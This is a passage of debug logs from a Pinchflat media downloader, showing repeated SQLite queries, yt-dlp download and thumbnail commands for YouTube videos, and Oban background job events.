s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:46.477 [debug] Running yt-dlp command for action: get_downloadable_status 22:46:46.477 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:46.477 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:46.478 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:46.478 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DUsUx-Hhiyo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/72/5e/725ea959c4c329224968f54d9375c497066b41b893c6385d3c3d54105064b1fb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:46:49.311 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DUsUx-Hhiyo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/72/5e/725ea959c4c329224968f54d9375c497066b41b893c6385d3c3d54105064b1fb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:46:49.311 [debug] Running yt-dlp command for action: download 22:46:49.311 [debug] QUERY OK source="settings" db=0.1ms idle=1247.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:49.311 [debug] QUERY OK source="settings" db=0.0ms idle=1248.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:49.311 [debug] QUERY OK source="settings" db=0.0ms idle=1248.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:46:49.312 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DUsUx-Hhiyo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/46/98/469832636d0e9ca721ce59d9e66ecef198b882527c7099ae284cb9926f60d6d0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:46:58.956 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.686 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:10.107 [info] GET /sources/1/media/110/edit 22:47:10.107 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "110", "source_id" => "1"} Pipelines: [:browser] 22:47:10.108 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1044.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [110] 22:47:10.109 [debug] QUERY OK source="settings" db=0.1ms idle=649.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:47:10.110 [debug] QUERY OK source="settings" db=0.3ms idle=46.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:47:10.111 [debug] QUERY OK source="settings" db=0.2ms idle=47.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:47:10.112 [info] Sent 200 in 5ms 22:47:28.958 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:50.802 [info] GET /sources/1/media/5/edit 22:47:50.802 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "5", "source_id" => "1"} Pipelines: [:browser] 22:47:50.804 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=739.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 22:47:50.804 [debug] QUERY OK source="settings" db=0.1ms idle=741.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:47:50.805 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=741.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:47:50.806 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=742.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:47:50.808 [info] Sent 200 in 6ms 22:47:58.959 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.688 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:26.581 [info] GET /sources/1/media/4/edit 22:48:26.581 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4", "source_id" => "1"} Pipelines: [:browser] 22:48:26.582 [debug] QUERY OK source="media_items" db=0.4ms idle=980.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 22:48:26.582 [debug] QUERY OK source="settings" db=0.1ms idle=519.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:26.583 [debug] QUERY OK source="settings" db=0.1ms idle=519.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:26.584 [debug] QUERY OK source="settings" db=0.2ms idle=520.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:26.585 [info] Sent 200 in 4ms 22:48:28.960 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:51.717 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=6inDQO2ughI --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a8/82/a8829aca58df43e8bce55d1705fcb6cb521b5c9208d4e7de34ea6d18e6ed30ba.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:48:51.730 [debug] Running yt-dlp command for action: download_thumbnail 22:48:51.731 [debug] QUERY OK source="settings" db=0.1ms idle=1667.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:51.731 [debug] QUERY OK source="settings" db=0.0ms idle=1667.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:51.731 [debug] QUERY OK source="settings" db=0.1ms idle=1667.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:51.731 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=6inDQO2ughI --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/105/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/25/9d/259d30dbdf51296f3d5be3e0298f069fbf2c63036040a2ff2ddad77512476f17.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:48:54.438 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=6inDQO2ughI --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/105/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/25/9d/259d30dbdf51296f3d5be3e0298f069fbf2c63036040a2ff2ddad77512476f17.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:48:54.438 [debug] QUERY OK db=0.0ms idle=1374.6ms begin [] 22:48:54.438 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:48:51Z], "/downloads/Last Meals/2025-11-13 William H. Macy Eats His Last Meal/William H. Macy Eats His Last Meal [6inDQO2ughI].mp4", ~U[2026-03-28 02:48:54Z], 105] 22:48:54.439 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/105/metadata.json.gz", "/config/metadata/media_items/105/thumbnail.jpg", 105, ~U[2026-03-28 02:48:54Z], ~U[2026-03-28 02:48:54Z]] 22:48:54.439 [debug] QUERY OK db=0.0ms commit [] 22:48:54.441 [debug] QUERY OK source="media_items" db=1.5ms idle=1376.0ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [637863515, ~U[2026-03-28 02:48:54Z], 105] 22:48:54.441 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:48:54.441 [info] {"args":{"id":105},"id":104,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":172461666,"event":"job:stop","queue_time":7004979391,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:48:54.441 [debug] QUERY OK source="tasks" db=0.2ms idle=378.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:48:54.442 [debug] QUERY OK source="tasks" db=0.2ms idle=794.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:48:54.442 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [106] 22:48:54.442 [debug] QUERY OK source="media_items" db=0.3ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [106] 22:48:54.447 [info] {"args":{"id":107},"id":106,"meta":{},"system_time":1774666134447733316,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:48:54.448 [debug] QUERY OK source="media_items" db=0.1ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [107] 22:48:54.448 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:48:54.448 [debug] QUERY OK source="tasks" db=0.3ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:48:54.448 [debug] QUERY OK source="tasks" db=0.3ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:48:54.448 [debug] QUERY OK source="sources" db=0.2ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:48:54.448 [debug] QUERY OK source="media_items" db=0.3ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [106, 107] 22:48:54.448 [debug] QUERY OK source="media_items" db=0.4ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [106, 107] 22:48:54.449 [debug] QUERY OK source="media_profiles" db=0.5ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:48:54.449 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [107] 22:48:54.449 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [107] 22:48:54.449 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:48:54.449 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:54.449 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:54.450 [debug] Running yt-dlp command for action: get_downloadable_status 22:48:54.450 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:54.450 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:54.450 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:54.450 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ENhfIeZF_AY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/be/fb/befbc4c00972fb7061bb7117b73f0d3220bf6dd7c1e2c71749f09c829a035125.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:48:56.838 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ENhfIeZF_AY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/be/fb/befbc4c00972fb7061bb7117b73f0d3220bf6dd7c1e2c71749f09c829a035125.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:48:56.838 [debug] Running yt-dlp command for action: download 22:48:56.838 [debug] QUERY OK source="settings" db=0.0ms idle=775.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:56.838 [debug] QUERY OK source="settings" db=0.0ms idle=775.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:56.839 [debug] QUERY OK source="settings" db=0.0ms idle=775.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 